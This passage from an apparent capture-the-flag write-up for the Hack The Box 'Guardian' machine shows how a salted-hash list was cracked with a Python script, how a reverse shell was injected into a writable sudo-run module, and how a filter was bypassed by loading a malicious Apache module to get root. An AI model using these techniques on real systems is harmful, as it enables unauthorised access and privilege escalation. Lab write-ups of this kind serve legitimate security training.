GU0762023:e7ff40179d9a905bc8916e020ad97596548c0f2246bfb7df9921cc8cdaa20ac2
GU9492024:8ae72472bd2d81f774674780aef36fc20a0234e62cdd4889f7b5a6571025b8d1
GU9612024:cf54d11e432e53262f32e799c6f02ca2130ae3cff5f595d278d071ecf4aeaf57
GU7382024:7852ec8fcfded3f1f6b343ec98adde729952b630bef470a75d4e3e0da7ceea1a
GU6632023:98687fb5e0d6c9004c09dadbe85b69133fd24d5232ff0a3cf3f768504e547714
GU1922024:bf5137eb097e9829f5cd41f58fc19ed472381d02f8f635b2e57a248664dd35cd
GU8032023:41b217df7ff88d48dac1884a8c539475eb7e7316f33d1ca5a573291cfb9a2ada
GU5852023:e02610ca77a91086c85f93da430fd2f67f796aab177c88d789720ca9b724492a
GU0712023:e6aad48962fd44e506ac16d81b5e4587cad2fd2dc51aabbf193f4fd29d036a7a
GU1592025:1710aed05bca122521c02bff141c259a81a435f900620306f92b840d4ba79c71
GU1112023:168ae18404da4fff097f9218292ae8f93d6c3ac532e609b07a1c1437f2916a7d
GU6432025:a28e58fd78fa52c651bfee842b1d3d8f5873ae00a4af56a155732a4a6be41bc6
GU3042024:d72fc47472a863fafea2010efe6cd4e70976118babaa762fef8b68a35814e9ab
GU1482025:be0145f24b8f6943fd949b7ecaee55bb9d085eb3e81746826374c52e1060785f
GU3102024:3aa2232d08262fca8db495c84bd45d8c560e634d5dff8566f535108cf1cc0706
GU7232023:4813362e8d6194abfb20154ba3241ade8806445866bce738d24888aa1aa9bea6
GU8912024:6c249ab358f6adfc67aecb4569dae96d8a57e3a64c82808f7cede41f9a330c51
GU4752025:4d7625ec0d45aa83ef374054c8946497a798ca6a3474f76338f0ffe829fced1a
GU9602024:6eeb4b329b7b7f885df9757df3a67247df0a7f14b539f01d3cb988e4989c75e2
GU4382025:8d57c0124615f5c82cabfdd09811251e7b2d70dcf2d3a3b3942a31c294097ec8
GU7352023:8c9a8f4a6daceecb6fff0eae3830d16fe7e05a98101cb21f1b06d592a33cb005
GU3042025:1d87078236f9da236a92f42771749dad4eea081a08a5da2ed3fa5a11d85fa22f
GU3872024:12a2fe5b87191fedadc7d81dee2d483ab2508650d96966000f8e1412ca9cd74a
GU7462025:5e95bfd3675d0d995027c392e6131bf99cf2cfba73e08638fa1c48699cdb9dfa
GU3902023:6b4502ad77cf9403e9ac3338ff7da1c08688ef2005dae839c1cd6e07e1f6409b
GU1832025:6ab453e985e31ef54419376be906f26fff02334ec5f26a681d90c32aec6d311f
GU3052024:1cde419d7f3145bcfcbf9a34f80452adf979f71496290cf850944d527cda733f
GU3612023:7ba8a71e39c1697e0bfa66052285157d2984978404816c93c2a3ddaba6455e3a
GU7022023:7a02cc632b8cb1a6f036cb2c963c084ffea9184a92259d932e224932fdad81a8
GU1712025:ebfa2119ebe2aaed2c329e25ce2e5ed8efa2d78e72c273bb91ff968d02ee5225
GU9362023:8b7ce469fb40e88472c9006cb1d65ffa20b2f9c41e983d49ca0cdf642d8f1592
GU5092024:11ae26f27612b1adca57f14c379a8cc6b4fc5bdfcfd21bef7a8b0172b7ab4380
GU5252023:70a03bb2060c5e14b33c393970e655f04d11f02d71f6f44715f6fe37784c64fa
GU8802025:7ae4ac47f05407862cb2fcd9372c73641c822bbc7fc07ed9d16e6b63c2001d76
GU2222023:d3a175c6e9da02ae83ef1f2dd1f59e59b8a63e5895b81354f7547714216bbdcd
GU9802023:a03da309de0a60f762ce31d0bde5b9c25eb59e740719fc411226a24e72831f5c
GU3122025:e96399fcdb8749496abc6d53592b732b1b2acb296679317cf59f104a5f51343a
GU2062025:0ece0b43e6019e297e0bce9f07f200ff03d629edbed88d4f12f2bad27e7f4df8
GU3992025:b86518d246a22f4f5938444aa18f2893c4cccabbe90ca48a16be42317aec96a0
GU1662024:5c28cd405a6c0543936c9d010b7471436a7a33fa64f5eb3e84ab9f7acc9a16e5
GU9972025:339d519ef0c55e63ebf4a8fde6fda4bca4315b317a1de896fb481bd0834cc599
GU6822025:298560c0edce3451fd36b69a15792cbb637c8366f058cf674a6964ff34306482
GU7912023:8236b81b5f67c798dd5943bca91817558e987f825b6aae72a592c8f1eaeee021
GU3622024:1c92182d9a59d77ea20c0949696711d8458c870126cf21330f61c2cba6ae6bcf
GU2002023:3c378b73442c2cf911f2a157fc9e26ecde2230313b46876dab12a661169ed6e2
GU3052023:2ef01f607f86387d0c94fc2a3502cc3e6d8715d3b1f124b338623b41aed40cf8
GU1462023:585aacf74b22a543022416ed771dca611bd78939908c8323f4f5efef5b4e0202
zero:1598cf89b66bfdece7054344780add5f5d1135efd34cbf5dbb845ac2c2d0f42f
attacker:554fef79f3500e339cb5af09847a95b6dc32bb0d401c35ca50a55ef27807f152
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib

SALT = "8Sb)tM1vs1SS"
WORDLIST = "/usr/share/wordlists/rockyou.txt"
HASH_FILE = "hashes.txt"

def check_password(password: str, target_hash: str) -> bool:
hashed = hashlib.sha256((password + SALT).encode()).hexdigest()
return hashed == target_hash

with open(HASH_FILE, "r") as f:
for line in f:
user, target_hash = line.strip().split(":")
with open(WORDLIST, "r", encoding="latin-1", errors="ignore") as wf:
for pwd in wf:
pwd = pwd.strip()
if check_password(pwd, target_hash):
print(f"[+] Found password for {user}: {pwd}")
break
else:
print(f"[-] Password for {user} not found")

We crack two passwords:

1
2
admin:fakebake000
jamil.enockson:copperhouse56

We su to jamil with copperhouse56 and grab the user flag:

1
2
3
4
5
6
7
8
9
10
11
12
www-data@guardian:~/portal.guardian.htb/admin$ su jamil
su jamil
Password: copperhouse56

jamil@guardian:/var/www/portal.guardian.htb/admin$ cd
cd
jamil@guardian:~$ ls
ls
user.txt
jamil@guardian:~$ cat user.txt
cat user.txt
ba38dedf2c3f705586aab18cbafdc1f3

Privilege Escalation - jamil β†’ mark

Checking sudo privileges:

1
2
3
4
5
6
7
8
9
10
jamil@guardian:~$ sudo -l
sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
jamil@guardian:~$

The script imports modules from a utils directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3

import argparse
import getpass
import sys

from utils import db
from utils import attachments
from utils import logs
from utils import status


def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")

args = parser.parse_args()
user = getpass.getuser()

if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")

if __name__ == "__main__":
main()

The script receives an action parameter: backup-db, zip-attachments, collect-logs, system-status. The first three actions require the mark user, otherwise access is denied. system-status is unrestricted β€” any user can run it. Internally it calls submodule functions under utils (e.g. db.backup_database()).

Looking at the files in the utils directory, we find that status.py is writable:

1
2
3
4
5
6
7
8
9
jamil@guardian:/opt/scripts/utilities/utils$ ls -al
total 24
drwxrwsr-x 2 root root 4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins 287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins 246 Jul 10 14:20 db.py
-rw-r----- 1 root admins 226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins 253 Apr 26 09:45 status.py
jamil@guardian:/opt/scripts/utilities/utils$

We inject a reverse shell into status.py and run sudo -u mark /opt/scripts/utilities/utilities.py system-status to get a shell as mark.

Privilege Escalation - mark β†’ root

As mark, we find /usr/local/bin/safeapache2ctl. Decompiling it with Ghidra reveals the main function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
undefined8 main(int param_1,undefined8 *param_2)

{
bool bVar1;
int iVar2;
char *pcVar3;
undefined7 extraout_var;
FILE *__stream;
undefined8 uVar4;
long in_FS_OFFSET;
char local_1418 [1024];
char local_1018 [4104];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 == 3) {
iVar2 = strcmp((char *)param_2[1],"-f");
if (iVar2 == 0) {
pcVar3 = realpath((char *)param_2[2],local_1018);
if (pcVar3 == (char *)0x0) {
perror("realpath");
}
else {
bVar1 = starts_with(local_1018,"/home/mark/confs/");
if ((int)CONCAT71(extraout_var,bVar1) == 0) {
fprintf(stderr,"Access denied: config must be inside %s\n","/home/mark/confs/");
}
else {
__stream = fopen(local_1018,"r");
if (__stream == (FILE *)0x0) {
perror("fopen");
}
else {
do {
pcVar3 = fgets(local_1418,0x400,__stream);
if (pcVar3 == (char *)0x0) {
fclose(__stream);
execl("/usr/sbin/apache2ctl","apache2ctl",&DAT_00102072,local_1018,0);
perror("execl failed");
goto LAB_00101663;
}
uVar4 = is_unsafe_line(local_1418);
} while ((int)uVar4 == 0);
fwrite("Blocked: Config includes unsafe directive.\n",1,0x2b,stderr);
fclose(__stream);
}
}
}
goto LAB_00101663;
}
}
fprintf(stderr,"Usage: %s -f /home/mark/confs/file.conf\n",(char *)*param_2);
LAB_00101663:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 1;
}

There is a is_unsafe_line function, following up:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall is_unsafe_line(__int64 a1)
{
char s1[32]; // [rsp+10h] [rbp-1030h] BYREF
char v3[16]; // [rsp+30h] [rbp-1010h] BYREF
unsigned __int64 v4; // [rsp+1038h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( (unsigned int)__isoc99_sscanf(a1, "%31s %1023s", s1, v3) != 2 )
return 0LL;
if ( strcmp(s1, "Include") && strcmp(s1, "IncludeOptional") && strcmp(s1, "LoadModule")
|| v3[0] != 47
|| (unsigned int)starts_with(v3, "/home/mark/confs/") )
{
return 0LL;
}
fprintf(stderr, "[!] Blocked: %s is outside of %s\n", v3, "/home/mark/confs/");
return 1LL;
}

The binary prevents the following:

  1. The directive is Include, IncludeOptional, or LoadModule
  2. The parameter is an absolute path (starting with /)
  3. And the path is not under /home/mark/confs/

In other words, as long as the LoadModule parameter points inside /home/mark/confs/, it is considered safe. We exploit this by loading a malicious .so with LoadModule to get a root shell.

We compile a malicious Apache module and load it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mark@guardian:~$ cat <<EOF > /home/mark/confs/exploit.conf
LoadModule exploit_module /home/mark/confs/exp.so
EOF
mark@guardian:~$ gcc -shared -fPIC -o /home/mark/confs/exp.so /tmp/exp.c
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/exploit.conf
apache2: Syntax error on line 1 of /home/mark/confs/exploit.conf: Can't locate API module structure `exploit_module' in file /home/mark/confs/exp.so: /home/mark/confs/exp.so: undefined symbol: exploit_module
Action '-f /home/mark/confs/exploit.conf' failed.
The Apache error log may have more information.
mark@guardian:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
mark@guardian:~$ bash -p
bash-5.1# cat /root/root.txt
4f3f22bc6ad4c3167fd4a807a7d462f4
bash-5.1#

That was it for Guardian, hope you learned something new!

-0xkujen

  • Title: Hackthebox: Guardian
  • Author: Foued SAIDI
  • Created at : 2026-02-28 22:36:54
  • Updated at : 2026-02-28 22:39:21
  • Link: https://kujen5.github.io/2026/02/28/Hackthebox-Guardian/
  • License: This work is licensed under CC BY-NC-SA 4.0.